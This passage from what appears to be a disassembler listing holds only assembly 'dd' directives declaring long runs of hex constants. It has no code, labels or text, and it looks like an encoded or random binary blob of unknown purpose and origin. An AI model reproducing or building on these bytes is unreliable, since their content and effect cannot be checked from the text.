0F87A1D5Bh, 63CFE4D0h, 61CE442Ah dd 5E0DA39Ch, 7EEB55Ah, 536513F4h, 572297B4h, 473D8120h dd 82E364C3h, 75E4BF28h, 0D7FDE37Fh, 1606C51Ah, 32312187h dd 54A1C3B3h, 0F3B5111Dh, 0E3552A58h, 834277Eh, 4B3508E3h dd 0ABDCE129h, 5DAA5C86h, 0A092EC52h, 0E2238271h, 83B50F9Eh dd 0D9AEDEF5h, 0DED20FB9h, 0C791307h, 52A8B087h, 77095438h dd 732311Eh, 310D5634h, 28962E32h, 0E731B61h, 0B3709760h dd 0D300B06Eh, 851CCE49h, 0E9EEE514h, 3A77BCD4h, 4D451E77h dd 0EA6A912h, 7C9E9861h, 1EBBA544h, 761D2253h, 380E3E06h dd 5D63BC74h, 0CDB0A177h, 711D65B9h, 4570F525h, 8500B8E8h dd 805E560Bh, 0F2385789h, 2527758Fh, 81E3BEE0h, 0B68C7080h dd 0D110E12Bh, 734A6BA7h, 0F6F4B9h, 28859E2Fh, 0D2A10F4Fh dd 3843B9C9h, 3CE4E421h, 5A26F3CBh, 43CA725h, 5C4CB415h dd 0CE62FAD0h, 15894882h, 7767AECBh, 95018707h, 0C44F7858h dd 0AA8812D0h, 0D2EB48BBh, 0E77D4BB3h, 97EDDBE4h, 0C656DFE9h dd 1791786Ch, 0D89D61CBh, 1901B3DDh, 4244EAE0h, 7198B225h dd 93DFF1F4h, 5A66AD9Ch, 0FD8CE36Dh, 9A9C43BFh, 3D27C9F5h dd 0ECCBEF5h, 0AD8029E6h, 61519AE7h, 630CFB12h, 0CDFA7465h dd 650604FBh, 6C82471Ah, 0BC1F00A0h, 0F27FF115h, 0F9EB4F83h dd 977B79E9h, 503FB0DDh, 7A9934C3h, 69496FBCh, 6CBDFCE4h dd 0E4D9691Fh, 33B957B6h, 60206B5Eh, 110607D1h, 0A36395A4h dd 2BBBF769h, 9A61E673h, 0CFCF189Eh, 0BEEDDB09h, 90626BE8h dd 73A5581Ah, 0BF391408h, 95AD1E82h, 79135EDEh, 0C1B011BEh dd 8D2B8376h, 688A0FA3h, 51D4171Ch, 0E7518075h, 0B43262FEh dd 0D7B48E0Bh, 0A93A576Fh, 1AE45D79h, 9CDBBCC9h, 0DE6F69D6h dd 0BFFEC8BDh, 59CA84E5h, 19B9430Ah, 2482FF0h, 231088E7h dd 0FB3D7C45h, 0F3D91647h, 4E604154h, 0B23884ADh, 0D7152B1h dd 0AD4B3FF9h, 0B1FA723Fh, 0DE51A33Eh, 52D8B14Dh, 8229DFC6h dd 0DD0D9F8h, 4C2D0241h, 78337404h, 329B34DAh, 39B954E0h dd 0A38EF66Bh, 27D7020h, 50B9EC2Bh, 585DA45Fh, 2EB865Ah dd 0CDCE191Bh, 9FB36B1Ch, 1FF8FDEEh, 0C5CBD9F4h, 723F358Fh dd 70061506h, 4659A4C4h, 0AF94DB4Ah, 55664066h, 0F8A9FDD6h dd 1140E933h, 5B93FEC8h, 0ED0D0764h, 0C11E57FEh, 0EAA2D13Fh dd 646B512Bh, 0BA8A1AEh, 57840h, 52ED123Dh, 0F954FF9Fh dd 2D287871h, 351CE911h, 4AAC4ADBh, 0F90F9A43h, 7B57420Fh dd 0F10BDFEh, 735E9323h, 0A8BDD5h, 85196339h, 0BA964D00h dd 77120FB4h, 0A9957E8Fh, 7C90C3DAh, 4A4583FBh, 1D87D819h dd 72A40BF5h, 0C75B88A2h, 91E558D1h, 45CE341Bh, 0D5682119h dd 5D14B358h, 7B751A4Bh, 3F8ED9FEh, 1582F6C1h, 0E1D3666h dd 3BE5B1ECh, 81808616h, 7591FD9h, 3F86241Ch, 8AF53BF8h dd 0D9ACC355h, 0FD3732ECh, 0AE2ADF23h, 0BC72A234h, 87F06534h dd 0DF0D1466h, 15773BA2h, 6EAE6A74h, 2690EDE1h, 8C8E7BB3h dd 6CF78548h, 222049Bh, 47BB2A01h, 82D7B211h, 0B45DA0BBh dd 0D5FB819Ah, 7B475C98h, 29E9F57Dh, 0F43E4634h, 10EC765Fh dd 0DF82D39Fh, 0D7D88AF8h dd 32313F8Eh, 4F04880Dh, 7FF476CEh, 105DC91Bh, 54E11C2Fh dd 43F9AE2Ch, 71A13FDFh, 51C45829h, 40A429E8h, 0EB3E6D20h dd 94F74595h, 0C640BC78h, 0FE76AAC0h, 47537B94h, 3AAC2176h dd 7E27D94Eh, 69C0F322h, 0FE3B42E5h, 6BEF1B6Ch, 8DB2FEB9h dd 0B3A514C1h, 0EFB055DFh, 6A1C7D0Ah, 0AF6ECCEDh, 0FD372EC3h dd 0F59FA249h, 3E274F51h, 4F62B084h, 0CDA7D7FBh, 0FE5C22BAh dd 0D784C28Ch, 11024A12h, 509E433h, 7817A38Bh, 51B92BE4h dd 0C9A6304Eh, 857BD32Bh, 5F92B3D9h, 7303407h, 7BD41F2Bh dd 74EA8E69h, 4397D591h, 0BC7B719Bh, 9C3A7792h, 4301A46h dd 4B13EF4Eh, 0AC7E5EFAh, 67BE6F0Bh, 0DFEF8808h, 3FE10CA3h dd 66F5229Bh, 0F30949A8h, 0CA3C840h, 395E375h, 2A93DD70h dd 2BB70DE5h, 2E68E5CDh, 0DFBFA26Ch, 0FB70E95Ch, 8A320753h dd 9D304F73h, 66419ACAh, 2BD6AF98h, 9FA3678Eh, 0A6295BA1h dd 0C237EBA8h, 267024C2h, 9684E31Ah, 0D285909Ch, 0C50C689Dh dd 0AD4CC79h, 3D768C30h, 0BE101E1Ah, 28663C29h, 722BA7F3h dd 0DB4D10FFh, 6D830CF8h, 0D3ADC790h, 0F76CECE0h, 74E77202h dd 0E269BD54h, 0B0B66ED6h, 70E6E92Eh, 0CBAB4AB0h, 0B341162Fh dd 8DFAC9D8h, 0B028EFB8h, 0FF01418Ah, 66D80CF5h, 80794AA8h dd 0DAA186A0h, 3EA0140Eh, 29BF0990h, 0F2B5545Dh, 68DF3231h dd 3384B7A9h, 0B18DF6CCh, 8199B009h, 51F66D46h, 0F2480256h dd 84DCA2FEh, 0A6C21D1Ah, 7CEDE74Dh, 438FE69Eh, 2DA88908h dd 20D528A6h, 0F7972990h, 5C709075h, 44EE9585h, 0E288BCE2h dd 0C88CB33Eh, 0F0F8CEAEh, 0B6ED5B0Eh, 674FD137h, 2299D076h dd 0DEEF1F11h, 481599D5h, 32312034h, 0E96A975Dh, 643BF1A1h dd 312609ACh, 666A5032h, 324CCAF3h, 8E14124Fh, 3423EC6Ah dd 0FF18C2CEh, 0C0F0E5A8h, 290C6ABFh, 4305EF29h, 1F261308h dd 4D8FA7AFh, 0DA41DF6Bh, 8CD674F1h, 780F7EC7h, 0F44E6763h dd 390C1A03h, 0C6DD2762h, 0C5F82AC9h, 0A68384CCh, 0C719CDB5h dd 24CA90DEh, 6EADEF46h, 0B49EB585h, 8106D98h, 0B9EDC174h dd 4AD3276Bh, 390A3066h, 7A0025D3h, 0CF75E2A8h, 59405185h dd 0BEA8528Ah, 1AC2C3C8h, 2C12418Dh, 0C7E8C727h, 0CC43BAD4h dd 13B507A0h, 753FA11Dh, 33C9EC2Eh, 0D32382AFh, 0FCD75514h dd 0A0D04B45h, 8558801Dh, 98244201h, 0C677DE80h, 63397548h dd 0B3D0392Fh, 0A98363FBh, 80981AF9h, 53A5EE24h, 92636AE2h dd 277D4F45h, 3BB43E5Ah, 8DB91123h, 0F5D9F6E3h, 380A7A29h dd 10CAADD9h, 26402565h, 0EF6C9877h, 0CA2B7D71h, 0CD6D65F4h dd 927B621Eh, 66D4CA0Fh, 0DA2F0F19h, 6890E0F7h, 7FFA831Fh dd 0C1550611h, 5B52BC85h, 0B810A312h, 0D18B2364h, 53C0C686h dd 0DECC5CD7h, 0F6605545h, 1CF62F09h, 0F577AD15h, 783362BBh dd 1E4D3231h, 843F6975h, 48953D5Ch, 60D932C7h, 0E0132204h dd 1F9343E3h, 6AC8D8EAh, 2FA044DAh, 0C561A8ACh, 93CEBE12h dd 429B2265h, 0E347610Ch, 34ECEF17h, 0F035B74Fh, 0A26C4239h dd 0BC400C18h, 0DDADF7FAh, 821AF322h, 0A3E623B2h, 56DE9D5Dh dd 0E8C63D1h, 7F61FC6Fh, 1EA70925h, 0B463913Fh, 3E6D9F09h dd 0B8CE97B3h, 1DF4CAE2h, 7A7A946Dh, 37E8BF8h, 7DFC3B0Bh dd 47732DC0h, 487C0994h, 0E75B71CFh, 8D367961h, 9652D133h dd 12654B3Bh, 0EE598962h, 3F159720h, 0ACA7B629h, 85E21D99h dd 677927A6h, 0FE412F37h, 52DA56F3h, 69D29523h, 0D84DDD38h dd 0FC9FEDA6h, 111FA854h, 18C742EFh, 0C467CA10h, 19445D25h dd 0C8E34688h, 0AAE4DDEDh, 1312CAF7h, 75807442h, 0F927F6A5h dd 1DEB2BC1h, 6122C6ACh, 0D5C460B2h, 0AFB9E94Ah, 98072170h dd 0D1C3C5DAh, 2586951Bh, 0A0A28052h, 0D242375Ch, 0F8D1882h dd 0A2E640B9h, 5CC2FB7Ah, 0FC619B23h, 8F231DCEh, 0D2285C62h dd 97E478F4h, 718906A2h, 0A95FBA23h, 0D4C18BB4h, 70300A20h dd 80CC6D6h, 0B82DB7ACh, 293E7770h, 669CBDC6h, 91CC2ACEh dd 87EF04h, 0A42A5471h, 0C37F2310h, 8345D579h, 0B267CFEFh dd 7D67911h, 403A3DA7h, 0F91BB2F4h, 31D57C66h, 0E44FBC32h dd 0C44C5105h, 0D7B1C701h, 0C4EA3E28h, 7A3E0F44h, 65FBB00Ch dd 5174A7AAh, 0DAA64206h, 18580A00h, 0DA262681h, 0C1B27A1Fh dd 0BE362196h, 24626468h, 6AD2399Eh, 402E512Ah, 135DDCF6h dd 0ECC48902h, 0D11E1899h, 0B28ECB0Bh, 70372E9Dh, 3CFA03B0h dd 0D41F4598h, 4D971EC7h, 0E96565C7h, 7236F1D9h, 0B967195Bh dd 71DA9485h, 98C62F34h, 0B5423D1Ah, 0A18EBBBDh, 87E1C50Bh dd 0DE3DBCCAh, 86FE401Fh, 0B7E70A47h, 4E5DBCFAh, 2D52362Ch dd 53420CCEh, 0C9EA2002h, 0B879661Ch, 1B77926Eh, 45A05602h dd 6A213E4Fh, 0A506AC69h, 8101D81Ch, 5A59C1C4h, 98BE1366h dd 0D5F3FB5Dh, 3A120E45h, 0D8B36EDh, 0A9BAE0A6h, 0CCBC0F14h dd 7DC06135h, 48033AC9h, 0B902906Bh, 53C0A53Fh, 50658210h dd 0CC248B4Dh, 9D5F685h, 323135EAh, 0A230C054h, 398F8F8Ch dd 0C4564A04h, 0C48B98CEh, 0B28354FAh, 0BE2C9C00h, 744AD538h dd 3231E360h, 74971A5Bh, 0DDE2C632h, 59C43DFCh, 0DDE63A0Eh dd 9999FB44h, 0E1B38A7Ch, 715E5285h, 3FCF9D34h, 0CC05C4B2h dd 1134F973h, 0F20E50F4h, 6A17917Dh, 8A76CEFEh, 7E44ED90h dd 0B9FCA96Dh, 0F2D81572h, 73F87BB6h, 51BE8ADEh, 1DF87401h dd 4821FE2Ch, 1DF53BC7h, 0C1FBC034h, 0E5B245AEh, 0C97757B2h dd 8E64F491h, 6ECF3AE8h, 8ECB0B96h, 2ED98E75h, 20FEC84Bh dd 0C13D7BD4h, 0BB8264Dh, 2F9E80A1h, 3D41C108h, 2A42D467h dd 4168E7EDh, 0D78F5F9Dh, 0FC0F58DEh, 95D20313h, 8B295504h dd 8BC20F15h, 9CB67E3Fh, 24363985h, 1222B5F6h, 3B61516h dd 14F570B4h, 4917F2B0h, 0B3E6AB00h, 7A8C5C51h, 983340C7h dd 0AD20B47Ah, 7AF6E7D4h, 0C0E510E6h, 0B6093231h, 0DD09BE93h dd 0C68CBC72h, 69A7617Eh, 0B9A060F2h, 0CDA41E60h, 19B6CF01h dd 0CF30737Eh, 628C328Dh, 1833FF0Fh, 6F51A0Eh, 1E3880DDh dd 7E360F23h, 0B6565B00h, 2BFE03C9h, 6C67137Fh, 8A97103Ch dd 3947FF3Eh, 4178A2C4h, 5F948AF6h, 0BC878C8Dh, 909CAC8Bh dd 8C72715Eh, 38A8857Eh, 7DCE0EF8h, 192D4313h, 1FD43C0Fh dd 0E948D21Bh, 0FC6FDD95h, 339B4FFDh, 3A5B0F7Fh, 0DAB376B9h dd 0C2688A40h, 0A38A712Bh, 76E11E5Bh, 2E197A8h, 0DB328560h dd 4568CEBCh, 5CFC548Ah, 16511800h, 0BA5FD18Ah, 6D951CDCh dd 67896743h, 0FA106A4Bh, 0FB902533h, 1F7F78D4h, 2FCC78DEh dd 0F3A12653h, 0DB02A2FBh, 153C01C0h, 0ED690E2Ch, 6E61400Ch dd 0E1A0EC55h, 3378270Ch, 8DD27225h, 0B6DB4DDFh, 1C393469h dd 2D66F367h, 7620A1DAh, 0FAE94FD0h, 0F289054Eh, 36E23891h dd 2018D3DCh, 0C2B8119Dh, 1803EACBh, 7FC1E71Ah, 87AAF586h dd 840CB6BFh, 9A723697h, 0C2220EA8h, 7B18CD4h, 4B72CCEBh dd 254DF09Ah, 7912E50Bh, 0B5542AB5h, 0B38F19C2h, 0ED0C59C3h dd 0FC300E59h, 712E9C71h, 0F51BC5EBh, 714276BBh, 30F49612h dd 3231D654h, 8E3CBE3Dh, 443B888Ch, 8D465984h, 0AE4F30A3h dd 0ED8BD34Fh, 0BCDAD0C1h, 322503E2h, 17F77AF9h, 0B1B74E4Fh dd 44352398h, 90D2ED74h, 0A4FE95DBh, 76B38992h, 3CD89B83h dd 0E3C63F92h, 556BC942h, 4BD0D4A9h, 8677DB23h, 128ED60Ah dd 3231BBA7h, 30B21589h, 2FE1F596h, 1058F879h, 0A12F70B6h dd 924372EBh, 38D2968Fh dd 0FE3DE517h, 0B5FE1117h, 0B6540940h, 8A8BF4AAh, 3AE0155Dh dd 78049144h, 0A544225Ah, 16DFDD97h, 643894B8h, 3DCCE53Eh dd 0ACD4EDBAh, 0AFA19027h, 8B761665h, 6C918A59h, 335CB4E0h dd 0D9CFB505h, 9C0ED965h, 573963A5h, 8F714649h, 279AB538h dd 0E0C728Ch, 5FA9CF97h, 0B566AFD8h, 16C84B43h, 9FC6ADA1h dd 10F9C92Ah, 57B6712Bh, 17EC5F48h, 0FAC8A4h, 38723A5Fh dd 0A1323160h, 0E371272Dh, 0A61055C0h, 0DE8D25C0h, 521380AFh dd 0DC50F8A2h, 0D0E050BAh, 3F15FFEBh, 0CF7DBC8Ch, 0BC654882h dd 0CE47A3D9h, 0D974BA71h, 97F511A2h, 5D88CE47h, 5521826Fh dd 426E0BCAh, 39A9C99Dh, 1EB1A36Dh, 9B5F21D4h, 1A4ADDFAh dd 8AFE471Ah, 810A44BAh, 88BCCB34h, 15877E66h, 0C5AE7EF9h dd 0A0F2E84Ah, 0D4934BEDh, 63A47759h, 1B04C127h, 8E590A81h dd 3B897DB4h, 0BCEC3F57h, 39184E49h, 0B29F4890h, 1ADD1C60h dd 54985BD2h, 24E21E1Bh, 98335B5Dh, 0E7CE62E7h, 7222B599h dd 27E03D46h, 0B7842034h, 8F7574AFh, 1A2543BBh, 265E8DB0h dd 9F515C64h, 1762A5D1h, 3F2B7E8Bh, 96F2355Fh, 70B11667h dd 48323143h, 0BE701535h, 8C8AC69Fh, 0FD6C39C5h, 7B6B701Dh dd 0D4D8C8E3h, 4F91334h, 9BA0001h, 0A155C252h, 0F83BF400h dd 73115EC8h, 0C7041FB7h, 1CDD1E33h, 0CC28BC01h, 10F52785h dd 0BE0ACA61h, 8E8679AEh, 0A024AF81h, 90938585h, 8BBDFD32h dd 403378BDh, 9FF018E2h, 2722A533h, 875B1B60h, 0A125789Bh dd 6F900A95h, 0F9ED72E3h, 9D0E6509h, 3A84EA3h, 64AE5441h dd 5454F928h, 5B33DF2Ah, 60BDC799h, 805EE6C9h, 0ED91DBE6h dd 0EC034BD1h, 0DB8ED564h, 0FC305808h, 0E58B1D5Ah, 0D25D7E07h dd 0D3106469h, 9B232177h, 0E86446CFh, 1233D452h, 3C36BC18h dd 0CFE16F49h, 7D214D57h, 0A86AAE29h, 0AD5C2C15h, 85BECBBh dd 0E2474DDh, 993B4565h, 0EA628C39h, 6E59E68Eh, 0C208C1EEh dd 23DF9B87h, 44AEC7D3h, 62B05EBBh, 6F09F30Dh, 7D02B37Eh dd 0C2EC2974h, 13D4D3EBh, 5E48C032h, 2A8311CCh, 0DCA6892Fh dd 0CC8F8FFBh, 6B94749Dh, 4FB2F0B9h, 551EFA5Dh, 26C98E57h dd 0BDFC551Ah, 0F93C72F0h, 0E62E4CE5h, 1488AFE6h, 0AABBD148h dd 36CF9898h, 21F72278h, 6AD72951h, 1F0534EDh, 0A5497CDFh dd 5A0E5656h, 96B49804h, 89E80204h, 0EEA24D58h, 0E7D3EAE6h dd 0BCF37B81h, 26386127h, 10ED3CB0h, 423E8DF1h, 0D1D55066h dd 0FC8FF92h, 0FB402011h, 0A1D46BFBh, 82146942h, 5B6848D1h dd 0D8282CF9h, 64BF735Eh, 9ABAEB45h, 0C83EE012h, 5F20CF46h dd 0C941E2ABh, 0C9EA577Fh, 7D9BBC9Ch, 8C8EFDA1h, 30A5D68Dh dd 63D664EEh, 0A2A9AB13h, 0CB5D1828h, 0EC3D334h, 0F8943424h dd 9DC63231h, 0AF263C12h, 5E2243AFh, 447DE9A8h, 4EE01CD8h dd 114C7D1Bh, 80F76F57h, 0DAED78A9h, 95261AB1h, 221D7EE5h dd 0C7AFFA9Fh, 87A8B3F3h, 21BD2682h, 0D3BEC92Dh, 0FCC6753Dh dd 2FE29ECCh, 0C24533DBh, 0CC93D211h, 4E03AB09h, 644DAF68h dd 0E7F43E16h, 0ECEF1EF3h, 0AC8A65C2h, 229AC7FBh, 29F183A1h dd 0EC8FCE74h, 61D4030Dh, 0BC343B20h, 74A8109Bh, 0A4B95640h dd 0CD6C3C37h, 3850D1C5h, 5E9C061Ch, 1B66D708h, 0B0AB4D2Fh dd 56985B7Bh, 59952B42h, 5FFE13C9h, 9B2AF263h, 56AFF363h dd 6E826013h, 32921FFh, 5E188197h, 0F848A912h, 0D899E39Fh dd 84C98C66h, 5885ED8Fh, 0FE95846h, 0E2943E27h, 0BA5AE83h dd 5898BD49h, 0B082531Eh, 0D301F320h, 479E0DEBh, 0EA7CD1B3h dd 0B0A852E9h, 965467C1h, 143F6255h, 0F46F005Bh, 45FAB882h dd 8E4656E3h, 0E4B5EC0Fh, 0FBA145A8h, 0A32FEF39h, 5C3720D9h dd 829FF01Ch, 92C0170Bh, 8F703F18h, 0FBFA1983h, 149B17A6h dd 157689ACh, 7D62A7CBh, 0DC8D1F32h, 600B159Ah, 7C63BD9Fh dd 0ABE5B4A0h, 0B280F173h, 0F3FC0B73h, 65064799h, 0F0C5A107h dd 0C08F8B57h, 9E36F76Eh, 3BE79A71h, 5E64AC4Ch, 3C7530E2h dd 12EB4EB4h, 95A9674Dh, 113F6C19h, 2591505Ah, 1FAC8659h dd 0C6278902h, 98938DA3h, 96E7EC47h, 702CB05Ah, 0A0B361ABh dd 9B73A07Eh, 147BEEE5h, 0F8534CF3h, 58EDEA26h, 1333EB94h dd 0F814F671h, 63713A38h, 0BE292929h, 9162D9D8h, 0BE15FF6Bh dd 62D9E32Fh, 1FC1D7ADh, 210FA43Ah, 1AE4FF36h, 9FBDA5F7h dd 7002AA06h, 1B6A4498h, 40F713FAh, 2B35EB8Ah, 815A222Bh dd 0DF45E89Fh, 1A4D9F8Ah, 77AC259Dh, 0B157BF4Fh, 0B60FDD8Eh dd 0FCDFE73Fh, 4686E4A3h, 566D2A1Ah, 1E2F9965h, 88D06B2Fh dd 0B5F8589Ah, 0F149AF7Dh, 0AB8F9A4Ah, 71950868h, 6B462B8Ch dd 0B5B28546h, 70121FAAh, 7F3D017Ch, 1EAAD4F8h, 9EFD3018h dd 0B1C2B369h, 1783A2EBh, 63A5295h, 1E7EC60Dh, 0A268EDB8h dd 1F946CD1h, 2191CF4Dh, 0DDC939B2h, 79B5FDh, 91D8DB8h dd 0FB99E45Dh, 3D1AC49Ah, 33C52140h, 4EA811A4h, 5846B3D8h dd 7FD2E5AFh, 7CE9F78Bh, 4D92387Dh, 0AFFE25A5h, 37D0BC50h dd 41DD96Bh, 0D1C3AB08h, 4E531CD9h, 76BD5BAh, 0DDCF4978h dd 0FE9EECBCh, 0F77BEB43h, 1574590Fh, 0DC46DCBAh, 1EC743C3h dd 5B4E7492h, 42E50857h, 690D3856h, 0EB389FBh, 50BFB20Ch dd 40CAB80Fh, 0EC7C6FE4h, 0EC3E712Eh, 27F7DF28h, 5647635h dd 7305C0B2h, 0E713B58Bh, 0EAC7A50h, 28AACEB7h, 0D007B198h dd 5A566B9Eh, 0CCC40708h, 14C52F41h, 41B2D2C0h, 61FB4139h dd 0DB14C8B9h, 3D42C71Eh, 0DC21498Eh, 0A21CAD1Ah, 7D28B2DFh dd 9069CACh, 0DF854735h, 7066B21Ah, 3CEBB6E2h, 0D222FE09h dd 414CC54Eh, 0CC49176Dh, 77DCD687h, 7BEA4605h, 0AC4B1A9Ch dd 37BCD2ACh, 95DAD6h, 9A0399E3h, 69DBE342h, 29ECA0D1h dd 6F3E550Dh, 9522F45Ah, 0CF076D7Dh, 0D464C60Bh, 5F3C7DADh dd 0C04A4915h, 5E63A8BEh, 0DBFC9D8h, 0D3957125h, 574A57Dh dd 81300019h, 8C6D6E79h, 0E563CA19h, 679D9F57h, 93424F6Ch dd 357425CBh, 0BCC901F8h, 0A9D01772h, 1095C4A8h, 8718A289h dd 209FF220h, 47210194h, 0ECE5AF73h, 0FB495162h, 0DB174303h dd 0AA9992E7h, 0DE3371B9h, 0AAFA6427h, 1A9B660Fh, 1DDAA13Ch dd 0F8C68BAAh, 1BDBAA98h, 75C07B5Dh, 0A0618210h, 6DA74F5Fh dd 0CDFD6EE1h, 59785CFAh, 0FD9704DFh, 60FA9085h, 0CDB1DA42h dd 3BE5183Fh, 0D17617EBh, 7EFCE8CBh, 415311A1h, 0C49E8559h dd 2C868063h, 9BDD7911h, 99E1E14h, 5F1F4DF9h, 3180D75Eh dd 5013BA32h, 2B42403Ah, 0DA5BD87Dh, 0A8BEC9E4h, 1F9F6CB0h dd 510EC6A5h, 2F4FE643h, 0D5A0F6F9h, 5D16F149h, 0B0877EE1h dd 0CB5115CFh, 99A134Ch, 8EE5DCB3h, 82451477h, 812B8AFEh dd 0A7400DC6h, 0FC14CE8Dh, 0EFDA014Bh, 0AF428C7Ah, 8CAE087Fh dd 64F5F7BCh, 0BCC09852h, 8448F4F3h, 38C39E9Eh, 0FE170F9h dd 6C764F0Eh, 622D287Ch, 93F6EED0h, 0CC4A47h, 77CF90F7h dd 84A020Fh, 0E33A7FFDh, 67DA6E38h, 0B7350A4Ah, 0D6B4FD98h dd 85E9CE04h, 9F6A0B5h, 0EE98B277h, 0DC3231E0h, 874313A3h dd 0D8F8156Fh, 93269F4Fh, 0F3FB061h, 6B0F63D0h, 37EAAE87h dd 0FFF95226h, 0D44D637Ch, 0B41B6210h, 0B6B7E6D1h, 0A9660257h dd 16F3E4D3h, 707948F8h, 36C88480h, 94F7B26Fh, 0A11F3231h dd 67F9DE38h, 0C5266886h, 80FED1D5h, 0C70E365Eh, 7DA3BFA3h dd 548FB40Ah, 0C926E7EAh, 6517C4Ch, 3E18B133h, 96B96C11h dd 6FDDA0D2h, 0BEBB0E74h dd 0B7CCA104h, 0CA9BF5E6h, 3C3A2203h, 9F689512h, 5B028915h dd 5839F9DFh, 0A5B029E5h, 0C7103303h, 0D460775Ch, 2162C5A6h dd 0A4FD3F83h, 0B35349ACh, 91F64832h, 0F97B622Eh, 0ECB9CD57h dd 0F88AB221h, 33A2F553h, 0DF22ACFFh, 0EE1EB930h, 5CA30585h dd 3D29F0A4h, 0ABEA2A50h, 7C02B33h, 8C73B2C9h, 0D95297AFh dd 90AE0B20h, 700382C2h, 0E72BCE0Fh, 11405045h, 6AD8058Eh dd 5EACEBE9h, 1BE0D082h, 844EB0C5h, 0CF8C3A56h, 0C2F82EADh dd 0AB3CA4F6h, 0F6CC902Ch, 7D41134Bh, 0D2F47CFFh, 4AB3BBC5h dd 0BD42BE92h, 8A0E8576h, 6EBB7311h, 0D2A472CAh, 0B367324Ah dd 98B8AFEEh, 9BA8FE99h, 4BCE8DB6h, 89505A70h, 4F7C8204h dd 0E6E8CCEAh, 7CEF441h, 6FD92E8Ch, 96F982Ah, 76F37787h dd 0DF288591h, 16055D85h, 58CD7972h, 82149784h, 2663397Fh dd 88EAB8E1h, 580862AAh, 0DD02A765h, 0A455966Eh, 47D95CF9h dd 5E140F1Fh, 0A015FCD0h, 0E671253Bh, 0A4AC5DEh, 3E5852F1h dd 6E3B810Dh, 80BC194Ch, 6F790004h, 8E486D69h, 1E9B0228h dd 2F104584h, 8FE8075Fh, 0CEF5FD4Fh, 0C35A4EE1h, 63DDDDF1h dd 3B25C6F1h, 4B4D4D44h, 6F832BB2h, 2C03528Ah, 0A65BEBCBh dd 818261DFh, 0A27AB89Ah, 4D9D866Ch, 996AC096h, 806E41DFh dd 0D6E52C11h, 9FA11BEFh, 8EDEB5DEh, 702AA639h, 18559B07h dd 2AEFF767h, 5A11494Ah, 0ED1F715Dh, 0E94D58CCh, 0E70212BFh dd 0CAE804A5h, 7117FFF8h, 95FDDE6Ch, 6AA050C5h, 0BCF28B6Ch dd 6C45FB3Bh, 0E0238420h, 78970781h, 0D1E4AA25h, 8CCCC373h dd 79571A75h, 512A551Ch, 0A1439315h, 0FDE7A5ADh, 1FC2E425h dd 0EE488EA5h, 5780DB5Ch, 4699126Ch, 5F616243h, 0E2AD1232h dd 534CB585h, 0D497B73Ch, 298CC2CCh, 0DB15C813h, 24124920h dd 0F71182AAh, 898FDE3Ah, 0B2E76FA2h, 0CCAF23BFh, 0BA6E33F6h dd 0B69A2142h, 373E707h, 0C908190Ah, 425579E7h, 43658C41h dd 8C63727Eh, 4D130425h, 5ED4F19Ah, 910A5D2Ch, 0E1C806C9h dd 0CACF4FE2h, 50BA6B6Ah, 0EB6DF3F6h, 10509AF4h, 0C8244788h dd 0CD021DB2h, 4137529Eh, 0CA2A86BBh, 52D94324h, 0AA460685h dd 46FA0CE2h, 928D2B56h, 0ECD5F3FCh, 750485EDh, 220A9138h dd 0D9FD25F1h, 7612185Eh, 0BDFEE621h, 704946DBh, 6135229Ch dd 225C1261h, 0FF986CB8h, 42593AD2h, 0E0B69D0Bh, 0CD785C9Bh dd 0AD2D94AAh, 0E59A432h, 5F86F5FFh, 0B878370h, 26719479h dd 0F3DFACA4h, 5E9F4A38h, 6E306CD5h, 0A1625F4Ah, 0A7677613h dd 4FEEB81Bh, 3AF2D30Ch, 68DD9348h, 0E7257DE2h, 0EEE29A37h dd 62BFD5Bh, 29950921h, 0BB64503Eh, 0A287517Dh, 1B2CAD60h dd 86272774h, 4E0805E1h, 0F5547DFh, 0A828292Ah, 776A48EBh dd 0B38271CDh, 1B82337h, 543BF511h, 6537DE0Dh, 0B1071D49h dd 0B9177C98h, 2F618F6Dh, 0BA8C511Dh, 4B834B83h, 72A21053h dd 0E6C14E39h, 0DEFE79ACh, 0C176FD66h, 6F462185h, 831E589Fh dd 86912A5Dh, 0F8027743h, 882568DDh, 2174C2C3h, 0B98D178Fh dd 6E006CB4h, 0B8E2EFFDh, 0E1F0584Dh, 72397D0Ch, 4ACB8DD2h dd 18EF6FD2h, 838B3FD2h, 62C96F68h, 8FEFAB1Ch, 0A05A3AC4h dd 0F2950220h, 616F28h, 9E5FB5B8h, 0FC63F586h, 0B2756082h dd 2CF21714h, 0E5CE340Eh, 4FE81869h, 0A8081BA5h, 1012BA9Ch dd 0E33D5B56h, 7A58C005h, 1D22F575h, 89140C5Ch, 2DBFD074h dd 0D6209694h, 0E8D2DBC3h, 712D84F8h, 3F5ED86Fh, 4AC1C369h dd 0F29BD54Fh, 24DD59D5h, 0B3C49B10h, 7DD66A46h, 5835BCE9h dd 8609EE68h, 1D48E79Eh, 55453423h, 91EA482Fh, 0ECE704Dh dd 0A54E4DB4h, 0DD9DF5D1h, 32318C84h, 1BD35E1Fh, 0A23A7E34h dd 0A57522C7h, 8F7987B5h, 3AE78C0Ch, 0FDD50E74h, 8AC96450h dd 0C28BA4C0h, 633F59D5h, 0A00CF1BCh, 7ED63BC3h, 9469FDE7h dd 1C1907BDh, 2D7FFD03h, 2D231C14h, 134F5985h, 0C5E93357h dd 9FDA7030h, 2511D455h, 3945F660h, 2C1FDAF5h, 0F83AEE8Eh dd 0DD9A4EA9h, 0CD187E7Eh, 2BC3CDACh, 4F3DB182h, 322BDA70h dd 0C619FFF9h, 469685FAh, 6CDB1371h, 9AEFAD79h, 4BD8BF8h dd 0E62275FBh, 0CB6DFB6Ch, 2EA130FCh, 185DD8B7h, 45A0517Ah dd 5AA59052h, 6E882073h, 84AE7D2Eh, 0E393D9D6h, 0D6029140h dd 2C50190Bh, 851144F3h, 9429F986h, 6C1354EAh, 3B3545CAh dd 0E14C173Eh, 0DE222864h, 59916D78h, 0D9E55EEDh, 33B50942h dd 506AB05Bh, 1F823DB0h, 21EFEA59h, 0E8320BE0h, 0CDFBF434h dd 5AAED24Ah, 4D1B81E4h, 649182EBh, 0CCBC2711h, 563E53ABh dd 8AB624A8h, 622F83E7h, 87C8D3FFh, 0F606840Ch, 2F0966DBh dd 2C084D06h, 78D90D84h, 87AB703Eh, 109A3FCBh, 614CBCC9h dd 63C1F1A7h, 48716FABh, 683A8D86h, 26138D53h, 94F5E306h dd 9818A644h, 0F1484855h, 5BCF20B1h, 0F3BB79A2h, 95B8F8D9h dd 6D25BAA9h, 5A9DCBF5h, 0F951A267h, 6A816936h, 48FD14Ch dd 68BA07D0h, 73DCEED9h, 10BB591h, 845CBAECh, 4B47A785h dd 532D5834h, 32317D25h, 